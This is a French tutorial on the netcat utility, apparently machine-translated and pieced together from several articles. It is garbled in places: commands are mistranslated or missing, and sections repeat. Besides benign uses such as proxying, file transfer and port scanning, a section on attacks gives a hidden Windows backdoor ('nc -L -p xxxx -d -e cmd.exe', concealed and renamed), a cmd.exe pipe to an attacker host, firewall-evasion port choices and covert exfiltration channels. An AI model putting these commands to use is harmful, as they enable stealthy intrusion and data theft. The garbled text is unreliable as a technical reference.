commandes netcat. Comment utiliser Netcat - le couteau suisse des outils de piratage. …et un scanner de ports portable

Les commandes ci-dessus créent un canal nommé appelé proxypipe et utilisent l'utilitaire nc pour rediriger toutes les connexions TCP sur le port localhost 5000 vers http://www.google.com via un canal bidirectionnel. Après avoir exécuté ces commandes, vous pouvez accéder à la page principale du moteur de recherche Google en saisissant http://127.0.0.1:5000 dans la barre d'adresse de votre navigateur Web.

14. Créez un proxy SSL pour un site Web spécifique (par exemple google.com)

Les commandes ci-dessus vous permettent d'utiliser l'utilitaire nc pour créer un serveur proxy compatible SSL qui vous permet de vous connecter au site Web google.com.

15. Diffusez le fichier vidéo depuis le serveur et visualisez-le avec mplayer sur la machine client

Sur le serveur de streaming vidéo (192.168.233.208) :

$ chat vidéo.avi | nc-l 5000

Sur le système client :

$nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -

16. Accepter les connexions TCP sur un port spécifique à l'aide d'une adresse IPv6

Les commandes suivantes permettent à l'utilitaire nc d'utiliser une adresse IPv6 lors de l'acceptation de connexions sur un port TCP. Cela peut être nécessaire lors du processus de test de l'exactitude des paramètres d'adressage IPv6 dans le réseau.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0 :::5000 :::* ÉCOUTER 4099/nc

Si vous avez aimé cet article, partagez-le avec vos amis :

Dans cet article, j'examinerai l'utilitaire réseau populaire netcat et quelques astuces utiles pour l'utiliser.

Netcat est un utilitaire Unix qui vous permet d'établir des connexions TCP et UDP, d'en recevoir des données et de les transmettre. Malgré son utilité et sa simplicité, beaucoup ne savent pas comment l’utiliser et le contournent injustement.

À l'aide de cet utilitaire, vous pouvez effectuer certaines étapes lors de la réalisation de tests d'intrusion. Cela peut être utile lorsque la machine attaquée n'a pas (ou attirera l'attention) de packages installés, qu'il existe des restrictions (par exemple, appareils IoT/embarqués), etc.

Que peut-on faire avec netcat :

• Scanner les ports ;
• Ports de transfert ;
• Collectez les bannières de service ;
• Port d'écoute (liaison pour connexion inversée) ;
• Télécharger et télécharger des fichiers ;
• Générer du contenu HTTP brut ;
• Créez une mini discussion.

En général, en utilisant netcat, vous pouvez remplacer une partie des utilitaires Unix, cet outil peut donc être considéré comme une sorte de moissonneuse-batteuse pour effectuer certaines tâches.

Exemples pratiques

Dans de nombreux cas, s'il est nécessaire de vérifier un hôte particulier, ils utilisent telnet ou leurs propres services pour identifier l'hôte ou la bannière. Comment netcat peut nous aider :

Recherche d'un port TCP ouvert 12345

nc : échec de la connexion à 192.168.1.100 12345 (tcp) : connexion refusée

Connexion au port 192.168.1.100 22 réussie !
SSH-2.0-OpenSSH

Analyse des ports TCP avec netcat :

Avec une telle analyse, il n'y aura pas de connexion au port, mais seulement la sortie d'une connexion réussie :

nc : échec de la connexion au port 20 (tcp) 192.168.1.100 : connexion refusée
nc : échec de la connexion au port 21 (tcp) 192.168.1.100 : connexion refusée
trouvé 0 association
trouvé 1 connexions:
1 : drapeaux = 82
outif fr0
src 192.168.1.100 port 50168
heure d'été 192.168.1.100 port 22
les informations de classement ne sont pas disponibles
Informations TCP auxiliaires disponibles
Connexion au port 22 192.168.1.100 réussie !
nc : échec de la connexion au port 23 (tcp) 192.168.1.100 : connexion refusée
nc : échec de la connexion au port 24 (tcp) 192.168.1.100 : connexion refusée

Analyse des ports UDP.

Les privilèges root sont requis pour analyser les ports UDP avec nmap. S'ils ne sont pas là, dans ce cas l'utilitaire netcat peut également nous aider :

Connexion au port 192.168.1.100 5555 réussie !

Envoi d'un paquet UDP

Cela peut être utile lors de l'interaction avec des périphériques réseau.

Réception de données sur le port UDP et sortie des données reçues

Après le premier message, la sortie sera arrêtée. Si vous devez recevoir plusieurs messages, vous devez utiliser while true :

Transfert de fichier. En utilisant netcat, vous pouvez à la fois recevoir des fichiers et transférer des fichiers vers un hôte distant :

Netcact comme simple serveur web.

Netcat peut agir comme un simple serveur web pour afficher des pages html.

À l'aide d'un navigateur sur : http://netcat host:8888/index.html. Pour utiliser le numéro de port standard 80 du serveur Web, vous devrez exécuter nc avec les privilèges root :

Discutez entre les nœuds

Sur le premier nœud (192.168.1.100) :

Sur le deuxième nœud :

Après avoir exécuté les commandes, tous les caractères saisis dans la fenêtre du terminal sur l'un des nœuds apparaîtront dans la fenêtre du terminal de l'autre nœud.

Coque inversée

En utilisant netcat, vous pouvez organiser un shell inversé pratique :

Vous pouvez maintenant vous connecter depuis l'hôte distant :

Il ne faut pas abandonner s'il n'y a pas certains outils, souvent assez encombrants, parfois la tâche peut être résolue avec des moyens improvisés.

L'objectif principal de l'utilitaire netcat (ou « nc » comme on appelle l'exécutable correspondant) est de permettre à l'utilisateur de transférer n'importe quelle donnée sur le réseau à l'aide du protocole de transport TCP ou UDP. De plus, netcat peut exécuter plusieurs autres fonctions intéressantes, comme l'analyse des ports UDP ou TCP.

Ce faisant, l'utilisateur peut notamment :

• sélectionnez librement le port de liaison (local et distant) ;
• effectuer (ne pas effectuer) la traduction avant et arrière des noms DNS ;
• lier netcat à l'une des adresses de niveau réseau de l'hôte local ;
• transférer les messages d'entrée pour traitement vers un autre programme ;
• crypter les données transmises (cette fonctionnalité est implémentée dans la version de netcat, appelée cryptcat).

Modes de fonctionnement de base

Les modes de fonctionnement de base de l'utilitaire netcat sont le mode client et le mode serveur.

L'option la plus simple à exécuter en mode client :

port hôte nc

(si vous souhaitez utiliser le protocole TCP), ou

port hôte nc -u

(si vous souhaitez utiliser le protocole UDP).

Si l'option -u n'est pas incluse, immédiatement après le démarrage dans ce mode, netcat tente d'établir une connexion TCP au port port de l'hôte.

Le travail de netcat est d'envoyer à la socket host:port tout ce qui lui parvient via le canal d'entrée standard, et d'envoyer au canal OUT standard tout ce qui lui parvient de cette socket.

L'option la plus simple à exécuter en mode serveur :

port nc-l-p

Après avoir démarré dans ce mode, netcat attend les demandes de connexion sur le port TCP. Lorsqu'une connexion est établie, il émet tout ce qui lui parvient via cette connexion sur le canal OUT standard et renvoie tout ce qui lui parvient via le canal IN standard.

Application à la préparation et à la conduite d'attaques logicielles

Un objectif aussi large de l'utilitaire netcat ouvre de nombreuses possibilités d'utilisation. Lors de la préparation et de la conduite d'attaques logicielles, netcat peut être utilisé pour résoudre les tâches suivantes, par exemple :

• identification des services fournis par les nœuds du réseau (en scannant les ports TCP et UDP) ;
• identification du logiciel des services fournis par les nœuds du réseau (en collectant des jetons) ;
• pénétration dans les nœuds du réseau ou perturbation de la disponibilité des services qu'ils fournissent ;
• création de canaux de contrôle secrets pour les nœuds du réseau ;
• création de canaux secrets de transmission de données.

Dans les deux derniers cas, la possibilité de chiffrer l'échange entre le client et le serveur netcat (implémentée dans cryptcat) est très utile.

Utiliser netcat pour infiltrer les hôtes ou perturber à distance les services qu'ils fournissent

La pénétration vers un nœud de réseau est évoquée dans deux sens :

1) quant à la saisie des autorisations de l'utilisateur sur le nœud (par un sujet qui n'avait aucune autorisation concernant ce nœud) ;

2) comment surmonter les restrictions d'échange d'informations avec le nœud, imposées par l'écran du pare-feu (réseau).

netcat peut être utile dans les deux cas.

Prise de pouvoir possible par une attaque à distance sur le serveur appartenant à l'objet de l'attaque (en utilisant, par exemple, une vulnérabilité de serveur telle qu'un débordement de tampon). Dans ce cas, l'attaquant doit pouvoir transférer certaines données vers le serveur. En règle générale, il s'agit de données qui ne peuvent pas être transférées à l'aide d'un programme client classique (mais possibles avec netcat, puisque netcat permet de transférer n'importe quelle donnée).

Pénétrer à travers l'écran du pare-feu (réseau) La capacité de netcat à se lier à n'importe quel port local (activée avec l'option -p) peut aider. Par exemple, si netcat en mode client se lie au port TCP 20 (données ftp), dans de nombreux cas, les pare-feu autoriseront l'établissement de connexions aux hôtes réseau qu'ils protègent.

Pour perturber la disponibilité des services, la capacité même de netcat à transmettre n'importe quelle donnée à n'importe quel serveur (par exemple, des requêtes incorrectes entraînant un blocage du serveur) peut être utilisée.

Utiliser netcat pour créer des canaux cachés pour gérer les nœuds de réseau

Supposons que la cible de l'attaque soit un hôte exécutant MS Windows NT. Effectué sur l'objet de l'attaque

nc –L -p xxxx -d -e cmd.exe

(où xxxx est un numéro de port arbitraire), nous obtenons un canal de contrôle caché pour cet objet. Ici, l'option -e active le mode dans lequel la sortie standard de netcat est connectée à l'entrée standard de cmd.exe, et la sortie standard de cmd.exe et les messages d'erreur sont connectés à l'entrée standard de netcat. L'option -L a le même effet que -l, à la différence qu'elle nécessite le redémarrage de netcat avec les mêmes arguments après la fin de chaque connexion. L'option -d (détacher) permet de masquer le lancement (netcat ne crée pas de fenêtre et n'apparaît pas dans la liste des tâches). Un effet de masquage supplémentaire peut être obtenu en renommant l'exécutable netcat.

Vous pouvez utiliser ce canal si, par exemple, sur un autre nœud, exécutez netcat comme suit :

nc troy xxxx

où troy est l'adresse ou le nom de l'objet de l'attaque.

Cependant, l'option -e n'est pas toujours prise en charge par les implémentations netcat. Si cette option n'est pas prise en charge, un résultat similaire peut être obtenu en exécutant deux instances de netcat sur la cible et sur l'hôte de l'attaquant. Vous pouvez, par exemple, appliquer le script suivant. Sur la cible de l'attaque, exécutez :

nc -L -p xxxx -d | cmd.exe | nc odysseus aaaa

où odysseus est l'adresse ou le nom d'hôte de l'attaquant.

Et sur le nœud attaquant :

nc -l -p aaaa

nc troy xxxx

Un tel scénario est appelé redirection de port . Faites attention au bon ordre de démarrage des programmes (dans ce texte, il n'est pas affiché correctement : le serveur doit être démarré avant le client).

Ce script peut être modifié. Par exemple, exécutez netcat uniquement en mode client sur l'objet d'attaque, et uniquement en mode serveur sur l'hôte de l'attaquant, ou vice versa (en respectant le bon ordre de lancement : le serveur doit être démarré avant le client).

La manipulation des modes de démarrage de netcat, ainsi que le choix correct des numéros de port, peuvent dans de nombreux cas contourner un pare-feu (réseau) si ce dernier est utilisé pour protéger la cible de l'attaque (par exemple, si le script ci-dessus est utilisé, choisir xxxx = 80 peut réussir dans de nombreux cas (port du serveur HTTP), aaaa = 25 (port du serveur SMTP)).

Utiliser netcat pour créer des liaisons de données secrètes

Considérez, par exemple, comment utiliser netcat pour transférer un fichier d'un socket troy:xxxx vers un socket mac:yyyy.

Pour ce faire, il suffit de faire quelque chose comme ceci sur le nœud mac :

nc -l -p aaaa > godear

et sur le nœud troy :

nc -p xxxx mac aaaa< prayer

Là encore, une manipulation appropriée des modes de démarrage et des numéros de port de netcat peut aider à surmonter les limitations imposées par les pare-feu.